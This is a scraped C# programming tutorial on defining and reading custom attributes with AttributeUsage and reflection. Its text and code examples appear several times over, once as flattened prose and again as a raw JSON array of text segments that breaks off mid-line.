Inherited = false)] [AttributeUsage(AttributeTargets.All, Inherited = false)] AllowMultiple member tells us if there can exist more than one instances of the attribute. It takes a boolean value as well. It is false by default.[AttributeUsage(AttributeTargets.Method, AllowMultiple = true)] 2. Defining the Attribute class: It is defined in the same way as a normal class is, the name of the class conventionally ends in ‘Attribute’. This class must inherit directly or indirectly from System.Attribute class.[AttributeUsage(AttributeTargets.All, Inherited = true, AllowMultiple = false)] public class MyAttribute : Attribute { //Class Members } 3. Defining Constructors and Properties: The constructors are used to set the values of the Attribute class pretty much like typical classes. Constructor overloading can be used to handle different assignments while provoking Attribute class objects.public MyAttribute(dataType value) { this.value = value; } Note: Custom Attributes can have properties like get and set for its members as well.public dataType MyProperty { get {return this.value;} set {this.value = newValue;} } Example 1: The code given below shows an example of a Custom Attribute named MyAttribute, which has two private members namely name and action. The ‘name’ is used for defining a name for any program element that the attribute may be applied to. The ‘action’ describes what the element is supposed to do. Here the attributes are applied to methods to class Student.// C# program to illustrate the // use of custom attributesusing System; // Creating Custom attribute MyAttribute [AttributeUsage(AttributeTargets.All)] public class MyAttribute : Attribute { // Provides name of the member private string name; // Provides description of the member private string action; // Constructor public MyAttribute(string name, string action) { this.name = name; this.action = action; } // property to get name public string Name { get { return name; } } // property to get description public string Action { get { return action; } }} class Student { // Private fields of class Student private int rollNo; private string stuName; private double marks; // The attribute MyAttribute is applied // to methods of class Student // Providing details of their utility [MyAttribute("Modifier", "Assigns the Student Details")] public void setDetails(int r, string sn, double m) { rollNo = r; stuName = sn; marks = m; } [MyAttribute("Accessor", "Returns Value of rollNo")] public int getRollNo() { return rollNo; } [MyAttribute("Accessor", "Returns Value of stuName")] public string getStuName() { return stuName; } [MyAttribute("Accessor", "Returns Value of marks")] public double getMarks() { return marks; }} class TestAttributes { // Main Method static void Main(string[] args) { Student s = new Student(); s.setDetails(1, "Taylor", 92.5); Console.WriteLine("Student Details"); Console.WriteLine("Roll Number : " + s.getRollNo()); Console.WriteLine("Name : " + s.getStuName()); Console.WriteLine("Marks : " + s.getMarks()); }}Output:Student Details Roll Number : 1 Name : Taylor Marks : 92.5 Example 2: In this example we can display the contents of the custom attribute that we created. Here the NewAttribute is a custom attribute with two fields namely title and description. The tile stores the title and description stores the function of the method to which NewAttribute is applied. The way to apply a Custom attribute to any part of the program you must call its constructor before the definition. NewAttribute also consists of a Parameterised constructor and a method to display the contents of the attribute. In the main you call the AttributeDisplay method using the class name as it is a static method, this displays the information about the methods of the classes to which the attribute is applied.// C# program to display the custom attributesusing System;using System.Reflection;using System.Collections.Generic; // Defining a Custom attribute classclass NewAttribute : Attribute { // Private fields private string title; private string description; // Parameterised Constructor public NewAttribute(string t, string d) { title = t; description = d; } // Method to show the Fields // of the NewAttribute // using reflection public static void AttributeDisplay(Type classType) { Console.WriteLine("Methods of class {0}", classType.Name); // Array to store all methods of a class // to which the attribute may be applied MethodInfo[] methods = classType.GetMethods(); // for loop to read through all methods for (int i = 0; i < methods.GetLength(0); i++) { // Creating object array to receive // method attributes returned // by the GetCustomAttributes method object[] attributesArray = methods[i].GetCustomAttributes(true); // foreach loop to read through // all attributes of the method foreach(Attribute item in attributesArray) { if (item is NewAttribute) { // Display the fields of the NewAttribute NewAttribute attributeObject = (NewAttribute)item; Console.WriteLine("{0} - {1}, {2} ", methods[i].Name, attributeObject.title, attributeObject.description); } } } }} // Class Employerclass Employer { // Fields of Employer int id; string name; // Constructor public Employer(int i, string n) { id = i; name = n; } // Applying the custom attribute // NewAttribute to the getId method [NewAttribute("Accessor", "Gives value of Employer Id")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute("Accessor", "Gives value of Employer Name")] public string getName() { return name; }} // Class Employeeclass Employee { // Fields of Employee int id; string name; public Employee(int i, string n) { id = i; name = n; } // Applying the custom // attribute NewAttribute // to the getId method [NewAttribute("Accessor", "Gives value of Employee Id")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute("Accessor", "Gives value of Employee Name")] public string getName() { return name; }} class Program { // Main Method static void Main(string[] args) { // Calling the AttributeDisplay // method using the class name // since it is a static method NewAttribute.AttributeDisplay(typeof(Employer)); Console.WriteLine(); NewAttribute.AttributeDisplay(typeof(Employee)); }}Output:Methods of class Employer getId - Accessor, Gives value of Employer Id getName - Accessor, Gives value of Employer Name Methods of class Employee getId - Accessor, Gives value of Employee Id getName - Accessor, Gives value of Employee Name My Personal Notes arrow_drop_upSave [AttributeUsage(AttributeTargets.Method, AllowMultiple = true)] 2. Defining the Attribute class: It is defined in the same way as a normal class is, the name of the class conventionally ends in ‘Attribute’. This class must inherit directly or indirectly from System.Attribute class.[AttributeUsage(AttributeTargets.All, Inherited = true, AllowMultiple = false)] public class MyAttribute : Attribute { //Class Members } 3. Defining Constructors and Properties: The constructors are used to set the values of the Attribute class pretty much like typical classes. Constructor overloading can be used to handle different assignments while provoking Attribute class objects.public MyAttribute(dataType value) { this.value = value; } Note: Custom Attributes can have properties like get and set for its members as well.public dataType MyProperty { get {return this.value;} set {this.value = newValue;} } Example 1: The code given below shows an example of a Custom Attribute named MyAttribute, which has two private members namely name and action. The ‘name’ is used for defining a name for any program element that the attribute may be applied to. The ‘action’ describes what the element is supposed to do. Here the attributes are applied to methods to class Student.// C# program to illustrate the // use of custom attributesusing System; // Creating Custom attribute MyAttribute [AttributeUsage(AttributeTargets.All)] public class MyAttribute : Attribute { // Provides name of the member private string name; // Provides description of the member private string action; // Constructor public MyAttribute(string name, string action) { this.name = name; this.action = action; } // property to get name public string Name { get { return name; } } // property to get description public string Action { get { return action; } }} class Student { // Private fields of class Student private int rollNo; private string stuName; private double marks; // The attribute MyAttribute is applied // to methods of class Student // Providing details of their utility [MyAttribute("Modifier", "Assigns the Student Details")] public void setDetails(int r, string sn, double m) { rollNo = r; stuName = sn; marks = m; } [MyAttribute("Accessor", "Returns Value of rollNo")] public int getRollNo() { return rollNo; } [MyAttribute("Accessor", "Returns Value of stuName")] public string getStuName() { return stuName; } [MyAttribute("Accessor", "Returns Value of marks")] public double getMarks() { return marks; }} class TestAttributes { // Main Method static void Main(string[] args) { Student s = new Student(); s.setDetails(1, "Taylor", 92.5); Console.WriteLine("Student Details"); Console.WriteLine("Roll Number : " + s.getRollNo()); Console.WriteLine("Name : " + s.getStuName()); Console.WriteLine("Marks : " + s.getMarks()); }}Output:Student Details Roll Number : 1 Name : Taylor Marks : 92.5 Example 2: In this example we can display the contents of the custom attribute that we created. Here the NewAttribute is a custom attribute with two fields namely title and description. The tile stores the title and description stores the function of the method to which NewAttribute is applied. The way to apply a Custom attribute to any part of the program you must call its constructor before the definition. NewAttribute also consists of a Parameterised constructor and a method to display the contents of the attribute. In the main you call the AttributeDisplay method using the class name as it is a static method, this displays the information about the methods of the classes to which the attribute is applied.// C# program to display the custom attributesusing System;using System.Reflection;using System.Collections.Generic; // Defining a Custom attribute classclass NewAttribute : Attribute { // Private fields private string title; private string description; // Parameterised Constructor public NewAttribute(string t, string d) { title = t; description = d; } // Method to show the Fields // of the NewAttribute // using reflection public static void AttributeDisplay(Type classType) { Console.WriteLine("Methods of class {0}", classType.Name); // Array to store all methods of a class // to which the attribute may be applied MethodInfo[] methods = classType.GetMethods(); // for loop to read through all methods for (int i = 0; i < methods.GetLength(0); i++) { // Creating object array to receive // method attributes returned // by the GetCustomAttributes method object[] attributesArray = methods[i].GetCustomAttributes(true); // foreach loop to read through // all attributes of the method foreach(Attribute item in attributesArray) { if (item is NewAttribute) { // Display the fields of the NewAttribute NewAttribute attributeObject = (NewAttribute)item; Console.WriteLine("{0} - {1}, {2} ", methods[i].Name, attributeObject.title, attributeObject.description); } } } }} // Class Employerclass Employer { // Fields of Employer int id; string name; // Constructor public Employer(int i, string n) { id = i; name = n; } // Applying the custom attribute // NewAttribute to the getId method [NewAttribute("Accessor", "Gives value of Employer Id")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute("Accessor", "Gives value of Employer Name")] public string getName() { return name; }} // Class Employeeclass Employee { // Fields of Employee int id; string name; public Employee(int i, string n) { id = i; name = n; } // Applying the custom // attribute NewAttribute // to the getId method [NewAttribute("Accessor", "Gives value of Employee Id")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute("Accessor", "Gives value of Employee Name")] public string getName() { return name; }} class Program { // Main Method static void Main(string[] args) { // Calling the AttributeDisplay // method using the class name // since it is a static method NewAttribute.AttributeDisplay(typeof(Employer)); Console.WriteLine(); NewAttribute.AttributeDisplay(typeof(Employee)); }}Output:Methods of class Employer getId - Accessor, Gives value of Employer Id getName - Accessor, Gives value of Employer Name Methods of class Employee getId - Accessor, Gives value of Employee Id getName - Accessor, Gives value of Employee Name My Personal Notes arrow_drop_upSave 2. Defining the Attribute class: It is defined in the same way as a normal class is, the name of the class conventionally ends in ‘Attribute’. This class must inherit directly or indirectly from System.Attribute class. [AttributeUsage(AttributeTargets.All, Inherited = true, AllowMultiple = false)] public class MyAttribute : Attribute { //Class Members } 3. Defining Constructors and Properties: The constructors are used to set the values of the Attribute class pretty much like typical classes. Constructor overloading can be used to handle different assignments while provoking Attribute class objects. public MyAttribute(dataType value) { this.value = value; } Note: Custom Attributes can have properties like get and set for its members as well. public dataType MyProperty { get {return this.value;} set {this.value = newValue;} } Example 1: The code given below shows an example of a Custom Attribute named MyAttribute, which has two private members namely name and action. The ‘name’ is used for defining a name for any program element that the attribute may be applied to. The ‘action’ describes what the element is supposed to do. Here the attributes are applied to methods to class Student. // C# program to illustrate the // use of custom attributesusing System; // Creating Custom attribute MyAttribute [AttributeUsage(AttributeTargets.All)] public class MyAttribute : Attribute { // Provides name of the member private string name; // Provides description of the member private string action; // Constructor public MyAttribute(string name, string action) { this.name = name; this.action = action; } // property to get name public string Name { get { return name; } } // property to get description public string Action { get { return action; } }} class Student { // Private fields of class Student private int rollNo; private string stuName; private double marks; // The attribute MyAttribute is applied // to methods of class Student // Providing details of their utility [MyAttribute("Modifier", "Assigns the Student Details")] public void setDetails(int r, string sn, double m) { rollNo = r; stuName = sn; marks = m; } [MyAttribute("Accessor", "Returns Value of rollNo")] public int getRollNo() { return rollNo; } [MyAttribute("Accessor", "Returns Value of stuName")] public string getStuName() { return stuName; } [MyAttribute("Accessor", "Returns Value of marks")] public double getMarks() { return marks; }} class TestAttributes { // Main Method static void Main(string[] args) { Student s = new Student(); s.setDetails(1, "Taylor", 92.5); Console.WriteLine("Student Details"); Console.WriteLine("Roll Number : " + s.getRollNo()); Console.WriteLine("Name : " + s.getStuName()); Console.WriteLine("Marks : " + s.getMarks()); }} Student Details Roll Number : 1 Name : Taylor Marks : 92.5 Example 2: In this example we can display the contents of the custom attribute that we created. Here the NewAttribute is a custom attribute with two fields namely title and description. The tile stores the title and description stores the function of the method to which NewAttribute is applied. The way to apply a Custom attribute to any part of the program you must call its constructor before the definition. NewAttribute also consists of a Parameterised constructor and a method to display the contents of the attribute. In the main you call the AttributeDisplay method using the class name as it is a static method, this displays the information about the methods of the classes to which the attribute is applied. // C# program to display the custom attributesusing System;using System.Reflection;using System.Collections.Generic; // Defining a Custom attribute classclass NewAttribute : Attribute { // Private fields private string title; private string description; // Parameterised Constructor public NewAttribute(string t, string d) { title = t; description = d; } // Method to show the Fields // of the NewAttribute // using reflection public static void AttributeDisplay(Type classType) { Console.WriteLine("Methods of class {0}", classType.Name); // Array to store all methods of a class // to which the attribute may be applied MethodInfo[] methods = classType.GetMethods(); // for loop to read through all methods for (int i = 0; i < methods.GetLength(0); i++) { // Creating object array to receive // method attributes returned // by the GetCustomAttributes method object[] attributesArray = methods[i].GetCustomAttributes(true); // foreach loop to read through // all attributes of the method foreach(Attribute item in attributesArray) { if (item is NewAttribute) { // Display the fields of the NewAttribute NewAttribute attributeObject = (NewAttribute)item; Console.WriteLine("{0} - {1}, {2} ", methods[i].Name, attributeObject.title, attributeObject.description); } } } }} // Class Employerclass Employer { // Fields of Employer int id; string name; // Constructor public Employer(int i, string n) { id = i; name = n; } // Applying the custom attribute // NewAttribute to the getId method [NewAttribute("Accessor", "Gives value of Employer Id")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute("Accessor", "Gives value of Employer Name")] public string getName() { return name; }} // Class Employeeclass Employee { // Fields of Employee int id; string name; public Employee(int i, string n) { id = i; name = n; } // Applying the custom // attribute NewAttribute // to the getId method [NewAttribute("Accessor", "Gives value of Employee Id")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute("Accessor", "Gives value of Employee Name")] public string getName() { return name; }} class Program { // Main Method static void Main(string[] args) { // Calling the AttributeDisplay // method using the class name // since it is a static method NewAttribute.AttributeDisplay(typeof(Employer)); Console.WriteLine(); NewAttribute.AttributeDisplay(typeof(Employee)); }} Methods of class Employer getId - Accessor, Gives value of Employer Id getName - Accessor, Gives value of Employer Name Methods of class Employee getId - Accessor, Gives value of Employee Id getName - Accessor, Gives value of Employee Name C# Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments C# Dictionary with examples Difference between Ref and Out keywords in C# Introduction to .NET Framework C# | String.IndexOf( ) Method | Set - 1 Extension Method in C# C# | Abstract Classes C# | Delegates C# | Data Types HashSet in C# with Examples Different ways to sort an array in descending order in C#
[ { "code": null, "e": 24222, "s": 24194, "text": "\n24 Jun, 2019" }, { "code": null, "e": 24686, "s": 24222, "text": "Attributes are metadata extensions that give additional information to the compiler about the elements in the program code at runtime. Attributes are used to impose conditions or to increase the efficiency of a piece of code. There are built-in attributes present in C# but programmers may create their own attributes, such attributes are called Custom attributes. To create custom attributes we must construct classes that derive from the System.Attribute class." }, { "code": null, "e": 24988, "s": 24686, "text": "1. Using the AttributeUsageAttribute: This tag defines the attribute that we are constructing. It provides information such as what the attribute targets are, if it can be inherited or if multiple instances of this attribute can exist. The AttributeUsageAttribute has three primary members as follows:" }, { "code": null, "e": 32922, "s": 24988, "text": "AttributeTargets.All specifies that the attribute may be applied to all parts of the program whereas Attribute.Class indicates that it may be applied to a class and AttributeTargets.Method to a method.[AttributeUsageAttribute( AttributeTargets.All )]\nInherited member is indicative of if the attribute might be inherited or not. It takes a boolean value (true/false). If this is not specified then the default is assumed to be true.[AttributeUsage(AttributeTargets.All, Inherited = false)]\nAllowMultiple member tells us if there can exist more than one instances of the attribute. It takes a boolean value as well. It is false by default.[AttributeUsage(AttributeTargets.Method, AllowMultiple = true)]\n2. Defining the Attribute class: It is defined in the same way as a normal class is, the name of the class conventionally ends in ‘Attribute’. This class must inherit directly or indirectly from System.Attribute class.[AttributeUsage(AttributeTargets.All, Inherited = true, AllowMultiple = false)]\npublic class MyAttribute : Attribute\n{\n //Class Members\n}\n3. Defining Constructors and Properties: The constructors are used to set the values of the Attribute class pretty much like typical classes. Constructor overloading can be used to handle different assignments while provoking Attribute class objects.public MyAttribute(dataType value)\n{\n this.value = value;\n}\nNote: Custom Attributes can have properties like get and set for its members as well.public dataType MyProperty\n{\n get {return this.value;}\n set {this.value = newValue;}\n}\nExample 1: The code given below shows an example of a Custom Attribute named MyAttribute, which has two private members namely name and action. The ‘name’ is used for defining a name for any program element that the attribute may be applied to. The ‘action’ describes what the element is supposed to do. Here the attributes are applied to methods to class Student.// C# program to illustrate the // use of custom attributesusing System; // Creating Custom attribute MyAttribute [AttributeUsage(AttributeTargets.All)] public class MyAttribute : Attribute { // Provides name of the member private string name; // Provides description of the member private string action; // Constructor public MyAttribute(string name, string action) { this.name = name; this.action = action; } // property to get name public string Name { get { return name; } } // property to get description public string Action { get { return action; } }} class Student { // Private fields of class Student private int rollNo; private string stuName; private double marks; // The attribute MyAttribute is applied // to methods of class Student // Providing details of their utility [MyAttribute(\"Modifier\", \"Assigns the Student Details\")] public void setDetails(int r, string sn, double m) { rollNo = r; stuName = sn; marks = m; } [MyAttribute(\"Accessor\", \"Returns Value of rollNo\")] public int getRollNo() { return rollNo; } [MyAttribute(\"Accessor\", \"Returns Value of stuName\")] public string getStuName() { return stuName; } [MyAttribute(\"Accessor\", \"Returns Value of marks\")] public double getMarks() { return marks; }} class TestAttributes { // Main Method static void Main(string[] args) { Student s = new Student(); s.setDetails(1, \"Taylor\", 92.5); Console.WriteLine(\"Student Details\"); Console.WriteLine(\"Roll Number : \" + s.getRollNo()); Console.WriteLine(\"Name : \" + s.getStuName()); Console.WriteLine(\"Marks : \" + s.getMarks()); }}Output:Student Details\nRoll Number : 1\nName : Taylor\nMarks : 92.5\nExample 2: In this example we can display the contents of the custom attribute that we created. Here the NewAttribute is a custom attribute with two fields namely title and description. The tile stores the title and description stores the function of the method to which NewAttribute is applied. The way to apply a Custom attribute to any part of the program you must call its constructor before the definition. NewAttribute also consists of a Parameterised constructor and a method to display the contents of the attribute. In the main you call the AttributeDisplay method using the class name as it is a static method, this displays the information about the methods of the classes to which the attribute is applied.// C# program to display the custom attributesusing System;using System.Reflection;using System.Collections.Generic; // Defining a Custom attribute classclass NewAttribute : Attribute { // Private fields private string title; private string description; // Parameterised Constructor public NewAttribute(string t, string d) { title = t; description = d; } // Method to show the Fields // of the NewAttribute // using reflection public static void AttributeDisplay(Type classType) { Console.WriteLine(\"Methods of class {0}\", classType.Name); // Array to store all methods of a class // to which the attribute may be applied MethodInfo[] methods = classType.GetMethods(); // for loop to read through all methods for (int i = 0; i < methods.GetLength(0); i++) { // Creating object array to receive // method attributes returned // by the GetCustomAttributes method object[] attributesArray = methods[i].GetCustomAttributes(true); // foreach loop to read through // all attributes of the method foreach(Attribute item in attributesArray) { if (item is NewAttribute) { // Display the fields of the NewAttribute NewAttribute attributeObject = (NewAttribute)item; Console.WriteLine(\"{0} - {1}, {2} \", methods[i].Name, attributeObject.title, attributeObject.description); } } } }} // Class Employerclass Employer { // Fields of Employer int id; string name; // Constructor public Employer(int i, string n) { id = i; name = n; } // Applying the custom attribute // NewAttribute to the getId method [NewAttribute(\"Accessor\", \"Gives value of Employer Id\")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute(\"Accessor\", \"Gives value of Employer Name\")] public string getName() { return name; }} // Class Employeeclass Employee { // Fields of Employee int id; string name; public Employee(int i, string n) { id = i; name = n; } // Applying the custom // attribute NewAttribute // to the getId method [NewAttribute(\"Accessor\", \"Gives value of Employee Id\")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute(\"Accessor\", \"Gives value of Employee Name\")] public string getName() { return name; }} class Program { // Main Method static void Main(string[] args) { // Calling the AttributeDisplay // method using the class name // since it is a static method NewAttribute.AttributeDisplay(typeof(Employer)); Console.WriteLine(); NewAttribute.AttributeDisplay(typeof(Employee)); }}Output:Methods of class Employer\ngetId - Accessor, Gives value of Employer Id \ngetName - Accessor, Gives value of Employer Name \n\nMethods of class Employee\ngetId - Accessor, Gives value of Employee Id \ngetName - Accessor, Gives value of Employee Name\nMy Personal Notes\narrow_drop_upSave" }, { "code": null, "e": 33174, "s": 32922, "text": "AttributeTargets.All specifies that the attribute may be applied to all parts of the program whereas Attribute.Class indicates that it may be applied to a class and AttributeTargets.Method to a method.[AttributeUsageAttribute( AttributeTargets.All )]\n" }, { "code": null, "e": 33225, "s": 33174, "text": "[AttributeUsageAttribute( AttributeTargets.All )]\n" }, { "code": null, "e": 33465, "s": 33225, "text": "Inherited member is indicative of if the attribute might be inherited or not. It takes a boolean value (true/false). If this is not specified then the default is assumed to be true.[AttributeUsage(AttributeTargets.All, Inherited = false)]\n" }, { "code": null, "e": 33524, "s": 33465, "text": "[AttributeUsage(AttributeTargets.All, Inherited = false)]\n" }, { "code": null, "e": 40968, "s": 33524, "text": "AllowMultiple member tells us if there can exist more than one instances of the attribute. It takes a boolean value as well. It is false by default.[AttributeUsage(AttributeTargets.Method, AllowMultiple = true)]\n2. Defining the Attribute class: It is defined in the same way as a normal class is, the name of the class conventionally ends in ‘Attribute’. This class must inherit directly or indirectly from System.Attribute class.[AttributeUsage(AttributeTargets.All, Inherited = true, AllowMultiple = false)]\npublic class MyAttribute : Attribute\n{\n //Class Members\n}\n3. Defining Constructors and Properties: The constructors are used to set the values of the Attribute class pretty much like typical classes. Constructor overloading can be used to handle different assignments while provoking Attribute class objects.public MyAttribute(dataType value)\n{\n this.value = value;\n}\nNote: Custom Attributes can have properties like get and set for its members as well.public dataType MyProperty\n{\n get {return this.value;}\n set {this.value = newValue;}\n}\nExample 1: The code given below shows an example of a Custom Attribute named MyAttribute, which has two private members namely name and action. The ‘name’ is used for defining a name for any program element that the attribute may be applied to. The ‘action’ describes what the element is supposed to do. Here the attributes are applied to methods to class Student.// C# program to illustrate the // use of custom attributesusing System; // Creating Custom attribute MyAttribute [AttributeUsage(AttributeTargets.All)] public class MyAttribute : Attribute { // Provides name of the member private string name; // Provides description of the member private string action; // Constructor public MyAttribute(string name, string action) { this.name = name; this.action = action; } // property to get name public string Name { get { return name; } } // property to get description public string Action { get { return action; } }} class Student { // Private fields of class Student private int rollNo; private string stuName; private double marks; // The attribute MyAttribute is applied // to methods of class Student // Providing details of their utility [MyAttribute(\"Modifier\", \"Assigns the Student Details\")] public void setDetails(int r, string sn, double m) { rollNo = r; stuName = sn; marks = m; } [MyAttribute(\"Accessor\", \"Returns Value of rollNo\")] public int getRollNo() { return rollNo; } [MyAttribute(\"Accessor\", \"Returns Value of stuName\")] public string getStuName() { return stuName; } [MyAttribute(\"Accessor\", \"Returns Value of marks\")] public double getMarks() { return marks; }} class TestAttributes { // Main Method static void Main(string[] args) { Student s = new Student(); s.setDetails(1, \"Taylor\", 92.5); Console.WriteLine(\"Student Details\"); Console.WriteLine(\"Roll Number : \" + s.getRollNo()); Console.WriteLine(\"Name : \" + s.getStuName()); Console.WriteLine(\"Marks : \" + s.getMarks()); }}Output:Student Details\nRoll Number : 1\nName : Taylor\nMarks : 92.5\nExample 2: In this example we can display the contents of the custom attribute that we created. Here the NewAttribute is a custom attribute with two fields namely title and description. The tile stores the title and description stores the function of the method to which NewAttribute is applied. The way to apply a Custom attribute to any part of the program you must call its constructor before the definition. NewAttribute also consists of a Parameterised constructor and a method to display the contents of the attribute. In the main you call the AttributeDisplay method using the class name as it is a static method, this displays the information about the methods of the classes to which the attribute is applied.// C# program to display the custom attributesusing System;using System.Reflection;using System.Collections.Generic; // Defining a Custom attribute classclass NewAttribute : Attribute { // Private fields private string title; private string description; // Parameterised Constructor public NewAttribute(string t, string d) { title = t; description = d; } // Method to show the Fields // of the NewAttribute // using reflection public static void AttributeDisplay(Type classType) { Console.WriteLine(\"Methods of class {0}\", classType.Name); // Array to store all methods of a class // to which the attribute may be applied MethodInfo[] methods = classType.GetMethods(); // for loop to read through all methods for (int i = 0; i < methods.GetLength(0); i++) { // Creating object array to receive // method attributes returned // by the GetCustomAttributes method object[] attributesArray = methods[i].GetCustomAttributes(true); // foreach loop to read through // all attributes of the method foreach(Attribute item in attributesArray) { if (item is NewAttribute) { // Display the fields of the NewAttribute NewAttribute attributeObject = (NewAttribute)item; Console.WriteLine(\"{0} - {1}, {2} \", methods[i].Name, attributeObject.title, attributeObject.description); } } } }} // Class Employerclass Employer { // Fields of Employer int id; string name; // Constructor public Employer(int i, string n) { id = i; name = n; } // Applying the custom attribute // NewAttribute to the getId method [NewAttribute(\"Accessor\", \"Gives value of Employer Id\")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute(\"Accessor\", \"Gives value of Employer Name\")] public string getName() { return name; }} // Class Employeeclass Employee { // Fields of Employee int id; string name; public Employee(int i, string n) { id = i; name = n; } // Applying the custom // attribute NewAttribute // to the getId method [NewAttribute(\"Accessor\", \"Gives value of Employee Id\")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute(\"Accessor\", \"Gives value of Employee Name\")] public string getName() { return name; }} class Program { // Main Method static void Main(string[] args) { // Calling the AttributeDisplay // method using the class name // since it is a static method NewAttribute.AttributeDisplay(typeof(Employer)); Console.WriteLine(); NewAttribute.AttributeDisplay(typeof(Employee)); }}Output:Methods of class Employer\ngetId - Accessor, Gives value of Employer Id \ngetName - Accessor, Gives value of Employer Name \n\nMethods of class Employee\ngetId - Accessor, Gives value of Employee Id \ngetName - Accessor, Gives value of Employee Name\nMy Personal Notes\narrow_drop_upSave" }, { "code": null, "e": 41033, "s": 40968, "text": "[AttributeUsage(AttributeTargets.Method, AllowMultiple = true)]\n" }, { "code": null, "e": 48265, "s": 41033, "text": "2. Defining the Attribute class: It is defined in the same way as a normal class is, the name of the class conventionally ends in ‘Attribute’. This class must inherit directly or indirectly from System.Attribute class.[AttributeUsage(AttributeTargets.All, Inherited = true, AllowMultiple = false)]\npublic class MyAttribute : Attribute\n{\n //Class Members\n}\n3. Defining Constructors and Properties: The constructors are used to set the values of the Attribute class pretty much like typical classes. Constructor overloading can be used to handle different assignments while provoking Attribute class objects.public MyAttribute(dataType value)\n{\n this.value = value;\n}\nNote: Custom Attributes can have properties like get and set for its members as well.public dataType MyProperty\n{\n get {return this.value;}\n set {this.value = newValue;}\n}\nExample 1: The code given below shows an example of a Custom Attribute named MyAttribute, which has two private members namely name and action. The ‘name’ is used for defining a name for any program element that the attribute may be applied to. The ‘action’ describes what the element is supposed to do. Here the attributes are applied to methods to class Student.// C# program to illustrate the // use of custom attributesusing System; // Creating Custom attribute MyAttribute [AttributeUsage(AttributeTargets.All)] public class MyAttribute : Attribute { // Provides name of the member private string name; // Provides description of the member private string action; // Constructor public MyAttribute(string name, string action) { this.name = name; this.action = action; } // property to get name public string Name { get { return name; } } // property to get description public string Action { get { return action; } }} class Student { // Private fields of class Student private int rollNo; private string stuName; private double marks; // The attribute MyAttribute is applied // to methods of class Student // Providing details of their utility [MyAttribute(\"Modifier\", \"Assigns the Student Details\")] public void setDetails(int r, string sn, double m) { rollNo = r; stuName = sn; marks = m; } [MyAttribute(\"Accessor\", \"Returns Value of rollNo\")] public int getRollNo() { return rollNo; } [MyAttribute(\"Accessor\", \"Returns Value of stuName\")] public string getStuName() { return stuName; } [MyAttribute(\"Accessor\", \"Returns Value of marks\")] public double getMarks() { return marks; }} class TestAttributes { // Main Method static void Main(string[] args) { Student s = new Student(); s.setDetails(1, \"Taylor\", 92.5); Console.WriteLine(\"Student Details\"); Console.WriteLine(\"Roll Number : \" + s.getRollNo()); Console.WriteLine(\"Name : \" + s.getStuName()); Console.WriteLine(\"Marks : \" + s.getMarks()); }}Output:Student Details\nRoll Number : 1\nName : Taylor\nMarks : 92.5\nExample 2: In this example we can display the contents of the custom attribute that we created. Here the NewAttribute is a custom attribute with two fields namely title and description. The tile stores the title and description stores the function of the method to which NewAttribute is applied. The way to apply a Custom attribute to any part of the program you must call its constructor before the definition. NewAttribute also consists of a Parameterised constructor and a method to display the contents of the attribute. In the main you call the AttributeDisplay method using the class name as it is a static method, this displays the information about the methods of the classes to which the attribute is applied.// C# program to display the custom attributesusing System;using System.Reflection;using System.Collections.Generic; // Defining a Custom attribute classclass NewAttribute : Attribute { // Private fields private string title; private string description; // Parameterised Constructor public NewAttribute(string t, string d) { title = t; description = d; } // Method to show the Fields // of the NewAttribute // using reflection public static void AttributeDisplay(Type classType) { Console.WriteLine(\"Methods of class {0}\", classType.Name); // Array to store all methods of a class // to which the attribute may be applied MethodInfo[] methods = classType.GetMethods(); // for loop to read through all methods for (int i = 0; i < methods.GetLength(0); i++) { // Creating object array to receive // method attributes returned // by the GetCustomAttributes method object[] attributesArray = methods[i].GetCustomAttributes(true); // foreach loop to read through // all attributes of the method foreach(Attribute item in attributesArray) { if (item is NewAttribute) { // Display the fields of the NewAttribute NewAttribute attributeObject = (NewAttribute)item; Console.WriteLine(\"{0} - {1}, {2} \", methods[i].Name, attributeObject.title, attributeObject.description); } } } }} // Class Employerclass Employer { // Fields of Employer int id; string name; // Constructor public Employer(int i, string n) { id = i; name = n; } // Applying the custom attribute // NewAttribute to the getId method [NewAttribute(\"Accessor\", \"Gives value of Employer Id\")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute(\"Accessor\", \"Gives value of Employer Name\")] public string getName() { return name; }} // Class Employeeclass Employee { // Fields of Employee int id; string name; public Employee(int i, string n) { id = i; name = n; } // Applying the custom // attribute NewAttribute // to the getId method [NewAttribute(\"Accessor\", \"Gives value of Employee Id\")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute(\"Accessor\", \"Gives value of Employee Name\")] public string getName() { return name; }} class Program { // Main Method static void Main(string[] args) { // Calling the AttributeDisplay // method using the class name // since it is a static method NewAttribute.AttributeDisplay(typeof(Employer)); Console.WriteLine(); NewAttribute.AttributeDisplay(typeof(Employee)); }}Output:Methods of class Employer\ngetId - Accessor, Gives value of Employer Id \ngetName - Accessor, Gives value of Employer Name \n\nMethods of class Employee\ngetId - Accessor, Gives value of Employee Id \ngetName - Accessor, Gives value of Employee Name\nMy Personal Notes\narrow_drop_upSave" }, { "code": null, "e": 48484, "s": 48265, "text": "2. Defining the Attribute class: It is defined in the same way as a normal class is, the name of the class conventionally ends in ‘Attribute’. This class must inherit directly or indirectly from System.Attribute class." }, { "code": null, "e": 48626, "s": 48484, "text": "[AttributeUsage(AttributeTargets.All, Inherited = true, AllowMultiple = false)]\npublic class MyAttribute : Attribute\n{\n //Class Members\n}\n" }, { "code": null, "e": 48877, "s": 48626, "text": "3. Defining Constructors and Properties: The constructors are used to set the values of the Attribute class pretty much like typical classes. Constructor overloading can be used to handle different assignments while provoking Attribute class objects." }, { "code": null, "e": 48941, "s": 48877, "text": "public MyAttribute(dataType value)\n{\n this.value = value;\n}\n" }, { "code": null, "e": 49027, "s": 48941, "text": "Note: Custom Attributes can have properties like get and set for its members as well." }, { "code": null, "e": 49121, "s": 49027, "text": "public dataType 